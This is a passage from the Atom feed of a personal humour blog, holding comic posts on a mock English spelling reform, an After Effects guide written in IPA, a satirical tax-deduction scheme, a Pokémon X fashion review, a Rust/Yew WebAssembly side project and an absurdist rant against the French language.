<p>That's a little better. Still a bit gross with the language, but structurally better and easier to read.</p>
<h2 id="examples">Examples</h2>
<p>Here's a few examples of our fixed English:</p>
<p>"Kolourless green ideas sleep furiously."</p>
<p>"I hope everyone is well today and tomorrow, but after that you're on your own."</p>
<p>"My name is Yoshikage Kira. I'm 33 years old. My house is in the northeast section of Morioh, where all the villas are, and I am not
married. I work as an employee for the Kame Yu department stores, and I get home every day by 8 PM at the latest. I don't smoke, but
I occasionally drink. I'm in bed by 11 PM, and make sure I get eight hours of sleep, no matter what."</p>
<p>See? It's not so bad, I'm sure you could easily understand it.</p>
<h2 id="whatsitcalled">What's It Called?</h2>
<p>With the inspiration from ACE, it should be 'Semi-Attempto Controlled English' or better yet: 'Semi-Attempto <strong>K</strong>ontrolled English'
(SAKE).</p>
<h2 id="faq">FAQ</h2>
<p><strong>There's no Nobel Prize in Linguistics.</strong></p>
<p>Not a question, but I'm sure they'll make one just for this.</p>
<p><strong>I think you forgot about the phoneme /t͡ʃ/ which is used in "chalk"?</strong></p>
<p>Uhh… I didn't forget. We should remove all the words that use it. Yes that includes my last name.</p>
<p><strong>But I like English the way it is!</strong></p>
<p>Too bad. Also not a question.</p>
<p><strong>Why aren't you writing this post according to your "fix"?</strong></p>
<p>You simpletons might close the tab too quickly if this post was in SAKE, I need you to be comfortable so I can persuade you.</p>
<p><strong>See you on r/badlinguistics.</strong></p>
<p>Not a question.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: http://bash.org/?120296</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.archives.gov/founding-docs/constitution-transcript</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Written Guide To Adobe After Effects But It's A Phonetic Transcription [Addendum]]]></title>
        <id>https://justin.duch.me/post/after_effects_ipa_addendum</id>
        <link href="https://justin.duch.me/post/after_effects_ipa_addendum"/>
        <updated>2019-11-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>This is an addendum to my previous post which you can read
<a href="/post/after_effects_ipa">here</a>.</p>
<hr />
<p>Fun fact: The post was actually going to be a serious guide to After Effects
but I got bored a quarter of the way in and decided to practice memorising the
International Phonetic Alphabet (IPA) instead.</p>
<p>And that's when this great idea hit me:</p>
<blockquote>
  <p>What if I combine these two ideas into one shitty post?</p>
</blockquote>
<p>Just to be clear in case you were going into this post expecting it; I'm not going
to convert it back into English, I'm leaving it as an exercise for you. You can use
<a href="http://www.ipachart.com">this chart</a> to help you.</p>
<p>To transcribe the post I used <a href="https://tophonetics.com">this website</a> which was able
to transcribe most of the words. It basically just has a dictionary database of English
words and replaces it with it's phonetic transcription. There were a few words that
weren't in it's database, so I had to them transcribe myself.</p>
<p>One of which is: PragerU. If you are wondering why I mentioned PragerU in a post about
Adobe After Effects you should transcribe it for yourself to read. Or re-read. It has
layers.</p>
<p>Anyway let's get into the transcription for PragerU /preɪgə'juː/:</p>
<ul>
<li>Plosive, bilabial: /p/ (<strong>p</strong>ut)</li>
<li>Trill, alveolar: /r/ (<strong>r</strong>ay)</li>
<li>Diphthong: /eɪ/ (b<strong>ai</strong>t)</li>
<li>Plosive, velar: /g/ (<strong>g</strong>ot)</li>
<li>Schwa: /ə/ (<strong>a</strong>bout)</li>
<li>Approximant, palatal: /j/ (<strong>y</strong>acht)</li>
<li>Close, back: /uː/ (b<strong>oo</strong>t)</li>
</ul>
<p>This is all pretty basic stuff, the phoneme is between the slashes (/) and the pronunciation
is the bold parts of the words in the parentheses. One thing I wasn't too sure on was the syllable
stress which is denoted by the straight single quote ('). As you can see I put it before the /juː/
or 'U' which may not be correct. I assumed this had stress because it was capitalised, but I think the
stress could also be at the start like it many other words. If this is wrong please tell me!</p>
<p>Another word was: dumbass /ˈdʌm.æs/. Again if you a wondering why that word is in a guide about After
Effects, please read it. I'm too lazy to go into each phoneme again so I'll leave it as another
exercise for you ;)</p>
<p>Side note: I don't know what an addendum is. According to <a href="https://en.wikipedia.org/wiki/Addendum">Wikipedia</a>,
it's "an addition required to be made to a document by its author subsequent to its printing or publication".
I have no idea if this counts as an addendum.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Written Guide To Adobe After Effects But It's A Phonetic Transcription]]></title>
        <id>https://justin.duch.me/post/after_effects_ipa</id>
        <link href="https://justin.duch.me/post/after_effects_ipa"/>
        <updated>2019-11-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>ə waɪl bæk aɪ sɔː ə ʤɒb ˈlɪstɪŋ frɒm preɪgə'juː fɔːr ə ˈməʊʃən ˈgræfɪk ˈɑːtɪst ænd
θɔːt "waʊ ə ʤɒb wɪð preɪgə'juː, aɪd lʌv tuː meɪk waɪt ˈnæʃnəlɪst ˌprɒpəˈgændə!".
aɪ ˈækʧʊəli juːz tuː meɪk ˈvɪdɪəʊz ɪn haɪ skuːl ænd θɔːt əˈbaʊt ˈmeɪkɪŋ ɪt ˈɪntuː eɪ
kəˈrɪə, bʌt aɪ gɒt bɔːd ɒv ɪt ænd muːvd ˈɒntʊ ˈprəʊgræmɪŋ. bʌt ə ʤɒb wɪð preɪgə'juː!
ðeəz nəʊ weɪ aɪ kʊd mɪs ðɪs səʊ aɪ dɪˈsaɪdɪd tuː ˌriːɪnˈstɔːl əˈdəʊbi ˈɑːftər ɪˈfɛkts
ænd stɑːt maɪ ˈvɪdɪəʊ ˈɛdɪtɪŋ kəˈrɪə.
ɪf jʊə smɑːt juː maɪt biː ˈθɪŋkɪŋ ðɪs raɪt naʊ:</p>
<p>"waɪ ɑː juː ˈraɪtɪŋ ə gaɪd tuː ə ˈdɒmɪnəntli ˈvɪzjʊəl ˈprəʊgræm ɪnˈstɛd ɒv ˈsʌmθɪŋ laɪk
ə ˈvɪdɪəʊ?"</p>
<p>ðæts ə gʊd ˈkwɛsʧən ænd ði ˈɑːnsə tuː ðæt ɪz: aɪ dəʊnt wɒnt tuː meɪk ə ˈvɪdɪəʊ bɪˈkɒz,
aɪm tuː sɛlf ˈkɒnʃəs ɒv maɪ vɔɪs. naʊ juː maɪt seɪ:</p>
<p>"jʊər æt liːst ˈgəʊɪŋ tuː prəˈvaɪd ˈpɪkʧə raɪt?"</p>
<p>aɪm ˈsɒri, bʌt aɪ kɑːnt. aɪm tuː ˈleɪzi tuː ˈdaʊnsaɪz ˈɛni ˈɪmɪʤɪz ɒn ðɪs blɒg (ðə ˈθʌmneɪlz
ɑː 1080px) ænd ðeɪ ɑː ˈteɪkɪŋ ʌp tuː mʌʧ ˈbændwɪdθ.</p>
<p>"haʊ ɪz ˈɛnɪwʌn səˈpəʊzd tuː ˈfɒləʊ əˈlɒŋ ðɛn ˈdʌm.æs?"</p>
<p>aɪ dəʊnt nəʊ ;( aɪm ˈsɒri, aɪ ˈnɛvə mɛnt ɪt tuː biː laɪk ðɪs. aɪ ʤʌst ˈwɒntɪd tuː meɪk ə fʌn
gaɪd.</p>
<p>"ɪt kɑːnt biː fʌn ɪf wiː dəʊnt lɜːn ˈɛnɪθɪŋ juː ˈtrɔːglədaɪt!"</p>
<p>pliːz stɒp ˈmeɪkɪŋ fʌn ɒv miː, aɪm ˈtraɪɪŋ maɪ bɛst.</p>
<p>"weɪt, duː juː ˈækʧʊəli hæv ə gaɪd?"</p>
<p>wɒt? jɛs, ɒv kɔːs!</p>
<p>"bʌt juːv ʤʌst biːn ˈtɔːkɪŋ tuː jɔːˈsɛlf ðɪs ɪnˈtaɪə taɪm."</p>
<p>ðɪs ɪz ðə priːˈæmbl, lɒts ɒv gaɪdz hæv ðɛm. aɪl gɛt tuː ðə miːt wɛn juː stɒp ɪnˈsʌltɪŋ
miː!</p>
<p>"ɔːlˈraɪt mæn, kɑːm daʊn. aɪl stɒp. lɛts siː ðə gaɪd."</p>
<p>ˈəʊˈkeɪ. aɪm ˈgəʊɪŋ tuː stɑːt ðə gaɪd naʊ.</p>
<p>"jeə, lɛts gəʊ."</p>
<p>fɜːst juː niːd tuː ˌdaʊnˈləʊd ˈɑːftər ɪˈfɛkts frɒm ði əˈdəʊbi ˈwɛbˌsaɪt.</p>
<p>"aɪ θɪŋk wiː kæn skɪp ðɪs pɑːt, aɪm ʃʊə məʊst ˈpiːpl ɔːlˈrɛdi hæv ɪt."</p>
<p>jeə, bʌt aɪ niːd tuː duː ɪt.</p>
<p>"juː sɛd juː hæd ɪt ðəʊ."</p>
<p>ðæt wɒz ə ʤəʊk.</p>
<p>"faɪn. kənˈtɪnju(ː)."</p>
<p>ɒn ði əˈdəʊbi ˈwɛbˌsaɪt ðeər ɪz ə lɪŋk tuː baɪ ˈɑːftər ɪˈfɛkts, klɪk ɪt ænd… 200 ˈdɒləz?
aɪ kɑːnt əˈfɔːd ðæt!</p>
<p>"wɒt?"</p>
<p>ðæts tuː ɪksˈpɛnsɪv!</p>
<p>"jʊə ˈʤəʊkɪŋ raɪt?"</p>
<p>ðæts laɪk hɑːf ə peər ɒv ʃuːz!</p>
<p>"juː baɪ 500 ˈdɒlə ʃuːz bʌt kɑːnt əˈfɔːd ˈɑːftər ɪˈfɛkts?"</p>
<p>aɪ niːd ʃuːz fɔː maɪ laɪf fɔːs. ˈɛnɪweɪ, gɛs ðɪs miːnz ðæt ðeər ɪz nəʊ gaɪd. gʊdˈbaɪ.</p>
<p>"fʌks seɪk."</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Things I've Always Wondered About But Was Too Lazy To Google Until Now]]></title>
        <id>https://justin.duch.me/post/google_questions</id>
        <link href="https://justin.duch.me/post/google_questions"/>
        <updated>2019-11-11T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I'm actually going to DuckDuckGo these questions, putting Google in the title
was clickbait.</p>
<h2 id="howdoesacomputerrestartwork">How does a computer restart work?</h2>
<p>Power states in your computer are controlled by an implementation of ACPI
(advanced configuration and power interface). At the end of a shutdown
process, your operating system sets an ACPI command indicating that the
computer should reboot. In response, the motherboard resets all components
using their respective reset commands or lines, and then follows the bootstrap
process. The motherboard never actually turns off, it only resets various
components and then behaves as if the power button has just been pressed.</p>
<p><a href="https://superuser.com/questions/294681/how-does-a-computer-restart-itself">Source</a></p>
<h2 id="whyarepandassofatwhentheydonteatanythingwithnutritionalvalue">Why are pandas so fat when they don't eat anything with nutritional value?</h2>
<p>You will notice that pandas don’t eat just any part of the bamboo, but
specialize in leaves found toward the ends of the growing part of the plant.
They are particularly fond of the shoots and growing tips. This is where the
bamboo is placing the most nutrients and the richest regions of photosynthetic
production—where the sugary or starchy carbohydrates will be.</p>
<p><a href="https://www.quora.com/Why-do-Pandas-eat-bamboo-when-it-is-nutritionally-deficient-and-requires-more-energy-to-break-down-than-it-provides">Source</a></p>
<h2 id="isthereaprotoworldlanguage">Is there a Proto-World language?</h2>
<p>Maybe, maybe not.</p>
<p><a href="https://en.wikipedia.org/wiki/Proto-Human_language">Source</a></p>
<h2 id="isbidoofgoingtobeinpokmonswordandshield">Is Bidoof going to be in Pokémon Sword and Shield?</h2>
<p>No.</p>
<p><a href="https://www.polygon.com/2019/11/4/20947933/pokemon-sword-shield-full-pokedex-cut-pokemon-nintendo-switch-game-freak">Source</a></p>
<h2 id="aminotgoingtobuypokmonswordandshieldjustbecausebidoofisntinit">Am I not going to buy Pokémon Sword and Shield just because Bidoof isn't in it?</h2>
<p>Yes.</p>
<p><a href="/post/google_questions">Source</a></p>
<h2 id="whatareacatswhiskersusedfor">What are a cat's whiskers used for?</h2>
<p>Cats have a sensory organ at the end of their whiskers called a proprioceptor,
which sends tactile signals to the brain and nervous system. The proprioceptor
is related to the position of the body and limbs, an important part of knowing
where every part of the body is so that decisions can be made for the next
immediate movement. This organ makes the cat’s whiskers very sensitive to even
the smallest change in the cat’s environment. A cat’s whiskers not only help
it to gauge whether it can fit into a tight space (without even being able to
see it), they can even respond to vibrations in the air, such as when the cat
is chasing prey.</p>
<p>Whiskers also serve as a way for cats to visually measure distance, which is
why they are able to leap so quickly and gracefully onto a narrow ledge or out
of harm’s way.</p>
<p><a href="https://www.petmd.com/cat/behavior/evr_ct_why_do_cats_have_whiskers">Source</a></p>
<p><img src="/img/anime-cat.jpeg" alt="anime-cat" /></p>
<h2 id="wheredidallmyserotoningo">Where did all my serotonin go?</h2>
<p>GameFreak stole it when they decided to not include Bidoof in SwSh.</p>
<p><a href="https://social.microsoft.com/Forums/en-US/d080a09c-0fa8-4759-b608-961a340eca74/where-did-all-my-emails-go">Source</a></p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Can I Get A Tax Deduction On This Skirt By Showing It On This Blog?]]></title>
        <id>https://justin.duch.me/post/skirt_tax_evasion</id>
        <link href="https://justin.duch.me/post/skirt_tax_evasion"/>
        <updated>2019-10-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Everyone knows that my favourite thing is capitalism, but do you know what I
love more than capitalism?</p>
<p>Money.</p>
<p>Today I am going to teach you how to do tax evasion by using <del>this</del> a skirt
I bought as an example. Specifically, we are going to overstate our deductions
because I think it's more interesting than lying about your income.</p>
<p>Just as a disclaimer, THIS ISN'T ACTUAL TAX ADVICE GO TO AN ACCOUNTANT.
However, I did get good grades in high school business studies as well as
legal studies so I think I know what I'm talking about. I won't give you my
actual grades, but believe me when I say it's good.</p>
<p>Anyway, the first thing to do when you overstate your deductions is to make
sure you can claim it as a deduction. So with that all said: "can you claim
designer skirts as a tax deduction?"</p>
<p>No.</p>
<p>For individuals, you can only deduct clothing expenses if it's work
uniform<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>, and I don't think $300 skirts are part of any work uniform.</p>
<p>But that's for <strong>individuals</strong>, what if you're a business? I am currently a
contractor which means I own a business, can I claim the skirt through the
business instead?</p>
<p>According to the ATO there are three rules to a business deduction<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a>:</p>
<ol>
<li>The expense must have been for your business, not for private use.</li>
<li>If the expense is for a mix of business and private use, you can only claim
the portion that is used for your business.</li>
<li>You must have records to prove it.</li>
</ol>
<p>Let's go through each point and see if it applies to my skirt.</p>
<ol>
<li>I wear clothes when writing software, so YES! I can say it's for my business.</li>
<li>This rule is a bit troublesome. I want to claim all of it because I like
money but the skirt isn't always used for the business because I'm not
ALWAYS writing software while wearing it. However, I do think about the
software I write while wearing the skirt, SO I CAN STILL SAY I'M WORKING!</li>
<li>Unfortunately, I don't have a mind reading device to prove I'm thinking
about work. But I think I can substitute this for just <a href="https://twitter.com/beanpup_py/status/1186056330508787712">tweeting that I'm
thinking about work instead.</a></li>
</ol>
<p>So far we've got some pretty solid arguments for writing this skirt as a tax
deduction, but maybe your not convinced. You're scared that the big, bad ATO
is going to come to your house, put down your cat, ruin your DOTA 2
win-loss ratio and flush your toothbrush down the toilet.</p>
<p>Don't worry I understand, these are all common worries as tax evasion can be a
scary thing especially if this is your first time. To help ease your fears,
we're going to get a bit more proof that we can claim the skirt as a tax
deduction by using my third favourite thing: <strong>advertising</strong>. Using good 'ol
manipulation to get people to give you money, who doesn't love it?</p>
<p>I haven't actually checked yet, but I'm 100% sure we could claim the skirt as
a tax deduction if we say it's for advertising. Like I said, I don't have
the proof yet, but it seems like something that you could do, yes? Just gimme
a minute and I'll find the documentation for it.</p>
<p>…</p>
<p>…</p>
<p>…</p>
<p>Okay. It's been 30 minutes. I've looked all over the ATO website, the only
instance of using advertising as a tax deduction is if… you're in the adult
industry<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a>. I went through EVERY occupation and this was the only one that
even MENTIONED advertising. Now I don't know if this means that only people in
the adult industry can advertise, but wow wee did this really put a wrench in
my plans.</p>
<p>Now what? Give up all my dreams of getting more money? Go back to the slums
with the rest of you peasants? Pay my taxes properly?</p>
<p>NO! SCREW THAT! I WANT MONEY!</p>
<p>Here's the new plan:</p>
<ol>
<li>Pivot my business into the adult industry.</li>
<li>Take a picture of me (with the skirt on) advertising myself and publish it
to the internet.</li>
<li>Claim that tax deduction.</li>
<li>Pivot back into software consulting before anyone actually tries to do
"business with me".</li>
</ol>
<p>A galaxy brained plan if I do say so myself. But where to publish the photo?
Just kidding, I'm sure you've read the title of this post. Here it is:</p>
<p><img src="/img/goblin.jpg" alt="goblin" /></p>
<p>What? It's just a normal picture. I know what you're thinking and no, I'm not
doing that.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://www.ato.gov.au/individuals/income-and-deductions/deductions-you-can-claim/clothing,-laundry-and-dry-cleaning-expenses/</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.ato.gov.au/Business/Income-and-deductions-for-business/Deductions/#whatyoucanclaim</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://www.ato.gov.au/Individuals/Income-and-deductions/In-detail/Occupation-and-industry-specific-guides/Adult-industry-workers---income-and-work-related-deductions/?page=2#Advertising</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[There's Too Much Pokèmon In This Fashion Game - A Review Of Pokèmon X]]></title>
        <id>https://justin.duch.me/post/pokemon_x</id>
        <link href="https://justin.duch.me/post/pokemon_x"/>
        <updated>2019-10-10T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>When people think about what a 'perfect' Pokèmon game would be, they normally
think of a huge open world with hundreds of pocket boys/girls, deep combat
mechanics and maybe even MMO-like multiplayer. Not me though, my perfect game
would only consist of these elements:</p>
<ul>
<li>Bidoof as your starter, which you then nickname "Bigoof". Bigoof will also
be your only pokey boy because you are banned from buying Pokeballs due to
your dark and mysterious past that is revealed over the course of the game.</li>
<li>When you finish the game Bigoof jumps out of the 3DS, into your bedroom and
he becomes your pet in real life and you can love him forever because Bigoof
is eternal and he will save us from our sins.</li>
<li>Many clothes to buy.</li>
</ul>
<p>Unfortunately none of the games I played as a child (Gen 1 - 4) had ANY of
these elements, putting me off the franchise for years. So you can imagine my
excitement when I found out recently that you can buy clothes in Pokèmon X!
That's a third of my dream game!</p>
<p>What kind of styles has Gamefreak given us? The game takes place in the French
inspired Kalos region so maybe something avant-garde? Can you put clothes on
your Bidoof? Can you put a cute bow-tie on the head of your Bidoof to bring
out his feminine side?</p>
<p>These are all questions that raced through my head as I was booting the game
up. "So many possibilities!" I thought, unaware of the disappointment that
awaited me.</p>
<p>It starts like all the others. The Pokèmon professor explains what a pokè pal
is and you choose your name and whether you are a boy or girl. This is all
standard procedure and the only surprising thing to me was that the professor
was so handsome, but that's a story for another time.</p>
<p>Now the game starts. You wake up in your bedroom then go outside and meet your
neighbour. Then your neighbour's like "Hey you wanna go meet some other
people?", and you have to go because this is apparently Telltale game now and
none of the choices I make affect anything. After you are introduced to all
your new "friends", the handsome professor gives you your first pokky man. I
chose Fennekin.</p>
<p>You are given a Pokèdex and are told to travel across the entire country. Your
"friends" then do more talking and everyone leaves.</p>
<p>Did going through that seem kinda tedious to you? You may have been wondering
where the actual review is. Well, NOW YOU KNOW HOW I FELT PLAYING THROUGH THAT!</p>
<p>It's been five minutes and I haven't seen one shop! WHERE IS THE FASHION?! I
was promised fashion but I've been stuck wearing this stupid blue jacket and
skipping through dialogue I don't care about!</p>
<p>Around ten minutes later I reach the first town. It has a clothes shop!
Great! They must have just been holding it back so you don't get too confused
at the start with so many new mechanics being introduced. I run in with my
wallet already out of my pocket ready to throw at the first jacket I see.</p>
<p>There are no jackets.</p>
<p>There are only hats.</p>
<p>Four hats.</p>
<p>They are all just as ugly as my jacket.</p>
<p>The shops get a little better as the game goes on, but that experience really
set the mood for the entire thing. Even catching a Bidoof couldn't make it any
better. They messed up one of the only things I've ever wanted and that made
me sad.</p>
<p>Maybe I wanted too much? I didn't expect Gamefreak to partner up with Comme
des Garçons and create ground breaking designer clothes (although Eidos
Montreal did that with Acronymn for Deux Ex and it was awesome). But I would
have liked a little more effort in these pieces.</p>
<p>It wasn't all doom and gloom though. There was one piece of dialogue that I
enjoyed.</p>
<p><img src="/img/pokemon-dialogue.png" alt="image" /></p>
<p>Well said little girl whose name I've forgotten.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Life Is The Question, I Am The Answer (Dot Com)]]></title>
        <id>https://justin.duch.me/post/litqiata</id>
        <link href="https://justin.duch.me/post/litqiata"/>
        <updated>2019-10-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>A few months back I impulse bought the domain
<a href="https://lifeisthequestioniamtheanswer.com">lifeisthequestioniamtheanswer.com</a> with no idea of what to use it for, I
just thought it was a funny domain. Fast forward to last month and I decided
to use it as an excuse to learn WebAssembly (WASM) and Rust, so if you go to
it right now it should just display a random quote (or image) from this blog.
The rest of this post is my feelings on WASM/Rust after I built it.</p>
<p>The entire site is built on <a href="https://github.com/yewstack/yew">Yew</a> a frontend framework for Rust which
complies into WASM. This was my first time using anything that isn't
JavaScript for frontend dev, so I was pleasantly surprised at how familiar the
code examples in the GitHub README looked. Of course that may be just have
been because of my knowledge of the languages it was inspired by.</p>
<p>Initial setup was much simpler than I expected as well. I downloaded this
<a href="https://github.com/yewstack/yew-wasm-pack-template">project template</a> which had pretty much everything I needed. After setting
up the API endpoint on this site to get a random quote, I set to work.</p>
<p>I'm not going to go through all the code, but I do want to show some snippets
of how simple it really is.</p>
<pre class="prettyprint linenums"><code class="rust language-rust"><span class="hljs-keyword">impl</span> <span class="hljs-title class_">Renderable</span>&lt;App&gt; <span class="hljs-keyword">for</span> <span class="hljs-title class_">App</span> {
    <span class="hljs-keyword">fn</span> <span class="hljs-title function_">view</span>(&amp;<span class="hljs-keyword">self</span>) <span class="hljs-punctuation">-&gt;</span> Html&lt;<span class="hljs-keyword">Self</span>&gt; {
        html! {
            &lt;div class=<span class="hljs-string">&quot;container&quot;</span>&gt;
                &lt;h1&gt;{ <span class="hljs-string">&quot;Life Is the Question, I Am the Answer&quot;</span> }&lt;/h1&gt;
                &lt;small&gt;
                    { <span class="hljs-string">&quot;random quotes and images from &quot;</span> }
                    &lt;a href=<span class="hljs-string">&quot;https://blog.justinduch.com&quot;</span> target=<span class="hljs-string">&quot;_blank&quot;</span>&gt;{ <span class="hljs-string">&quot;https://blog.justinduch.com&quot;</span> }&lt;/a&gt;
                    { <span class="hljs-string">&quot; using /api/quote.&quot;</span> }
                &lt;/small&gt;
                &lt;div class=<span class="hljs-string">&quot;quote&quot;</span>&gt;{ <span class="hljs-keyword">self</span>.<span class="hljs-title function_ invoke__">view_quote</span>() }&lt;/div&gt;
                &lt;div class=<span class="hljs-string">&quot;footer&quot;</span>&gt;
                    &lt;button onclick=|_| Msg::Quote&gt;{ <span class="hljs-string">&quot;refresh&quot;</span> }&lt;/button&gt;
                    &lt;small&gt;
                        &lt;a href=<span class="hljs-string">&quot;https://github.com/beanpuppy/litqiata&quot;</span> target=<span class="hljs-string">&quot;_blank&quot;</span>&gt;
                            { <span class="hljs-string">&quot;view the source code&quot;</span> }
                        &lt;/a&gt;
                    &lt;/small&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        }
    }
}
</code></pre>
<p>This is the root app, you can see it has all the things you would expect from
any modern day JS framework including JSX like structures with the <code class="prettyprint">html!</code>
macro. Yew has a tonne of similarities to React including it's own virtual
DOM. State management also seems to be very similar, but I didn't need it for
this project so I can't say for sure.</p>
<p>There were some bottlenecks however:</p>
<ul>
<li>Yew's documentation is garbage. It took me an hour to figure out how to do
HTTP requests.</li>
<li>It's Rust. Don't get me wrong, I love Rust it's actually my favourite
language (I carry Ferris everywhere with me on my backpack)<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>. But holy shit
is it verbose, if I wrote this in React it be at least 50% smaller in terms of
LOC. Normally, I would say that Rust's verbosity is one of it's greatest
strengths, but it really didn't fit something as small as this.</li>
<li>Nginx doesn't support the <code class="prettyprint">wasm</code> mime type. More of a nitpick as it was an
easy fix to just add it but it was annoying nonetheless.</li>
</ul>
<p>Overall it was a positive experience. I was able to pick it up and become
productive quite quickly even compared to my attempts with JS frameworks.
While I think it's too early to build any mission critical infrastructure in
WASM, I may use it for the small module here and there. I look forward to
seeing how it develops and getting rid of JavaScript for a good language, but
for now it looks like the fourth rewrite of the blog is going to come much
sooner than expected.</p>
<p>If you want to see the source code it's <a href="https://github.com/beanpuppy/litqiata">here</a>.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: ![rust-bag](/img/rust-bag.png)</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Québec Wants To Preserve The French Language, I Want To Destroy It]]></title>
        <id>https://justin.duch.me/post/bye_france</id>
        <link href="https://justin.duch.me/post/bye_france"/>
        <updated>2019-10-02T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>The Office québécois de la langue française (OQLF), or the Québec Board of the
French Language, is a public organization established in the province on March
24, 1961. Part of its initial mission was to “work on the normalization of the
language in Québec and support state intervention to carry out a global
language policy that would consider notably the importance of socio-economic
motivations in making French the priority language in Québec.”<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>I find this unacceptable. French should stay in France! Québec is in Canada so
they should be speaking CANADIAN! As someone who got their education in
linguistics from body building forums, this deeply saddens and offends me.
That's why I've taken it upon myself to pledge to destroy the French language
and restore peace to the world.</p>
<p>Now, I'm not an unreasonable person, I know I'm not going to be able to stop
French people speaking French, climate change will do that for me. But I must
stop non French people from learning French. How you ask? Well let me tell
you.</p>
<h2 id="premirepartiedelegitimisethefrenchlanguage">Première Partie: De-legitimise the French Language</h2>
<p>A very simple misinformation campaign condemning French should do the trick.
We've seen this strategy used by the CCP in China to attack Hong Kong by
reporting that speaking Cantonese can cause nasal and sinus cancer.<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>We could taken even more work from China when a group from the First
China International Frontier Education Summit "concluded that English [and
all other Western languages] is actually a Chinese dialect".<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a> This
revolutionary discovery supported by HARD EVIDENCE completely invalidates
French as it's just a worse version of Mandarin.</p>
<h2 id="partdeuxstopallfrenchculturalexports">Part Deux: Stop All French Cultural Exports</h2>
<p>When I was a boy, I went to the baker to buy a baguette because it was the
only bread that reminded me of a dick. I didn't expect to finish it as I don't
eat very much and it was pretty big, but I ate the entire thing in an
afternoon completely by itself. This is why I learnt French and I'm sure it's
many other people's reason too.</p>
<p>France has shipped US$568.4 billion worth of goods around the globe in 2018.<a href="#reference-4" class="reference-link" id="reference-4-backlink"><sup>[4]</sup></a> This is terrible if we want people to think France is the worst.
That is at least OVER 600 baguettes!!</p>
<p><strong>600 PEOPLE WHO NOW WANT TO LEARN FRENCH BECAUSE THE DICK BREAD TASTED SO
GOOD!</strong></p>
<p>The big issue here is that I don't know how to get around this. How do am I,
someone only armed with a dream, supposed to stop this? I know I said I would
let climate change take care of France but that was only because I don't have
any nukes. Unless…?</p>
<h2 id="parttroisbecomeworldleader">Part Trois: Become World Leader</h2>
<p>Unfortunately, wikiHow doesn't have a article on becoming a world leader so
I'm kinda in the dark here. However, I've thought of a loophole! Do you
remember this famous quote from the book Dune: <em>"He who controls the spice
controls the universe"</em>? Herbert was of course referencing to LATE-STAGE
CAPITALISM.</p>
<p>THAT'S RIGHT! THIS IS JUST ANOTHER POST OF ME SHITTING ON CAPITALISM!</p>
<p>All we need to do is become part of the bourgeoisie and now we control the
world! My personal favourite way of becoming rich is exploiting the
environment so much that the Earth will eventually become uninhabitable.</p>
<p>Great! Now that we have a monopoly on the toilet paper industry and more money
than every country in the EU combined, we can continue our plan.</p>
<h2 id="partquatrebyebyefrance">Part Quatre: Bye Bye France</h2>
<p>While researching the most comfortable toilet paper material, we built a
nuclear fission plant (for tax evasion purposes of course) in Zimbabwe (so we
can exploit poor people). With our new knowledge we can build nukes and… you
know were this is going.</p>
<blockquote>
  <p>Au revoir France.</p>
</blockquote>
<h2 id="partcinqwerenotdoneyet">Part Cinq: We're Not Done Yet</h2>
<p>With French being an extinct language, you can be sure some pesky linguist
from the future is going to try and re-discover it. We can't let this happen!</p>
<p>Apparently, technology is a big player in helping to decipher dead languages.<a href="#reference-5" class="reference-link" id="reference-5-backlink"><sup>[5]</sup></a>
So the easy solution here would be to just destroy all technology by nuking
the rest of the world. Fortunately for us, since we destroyed so much of the
environment already, there's no way for humans to ever create the machines
needed to reach this point ever again!</p>
<h2 id="finale">Finale</h2>
<p>Now we can sit back in our Mars habitat (for rich people only) and watch a new
Earth grateful it has been rid of the French language. Go suck a baguette
Québec.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: http://bilan.usherbrooke.ca/bilan/pages/evenements/1419.html</div>
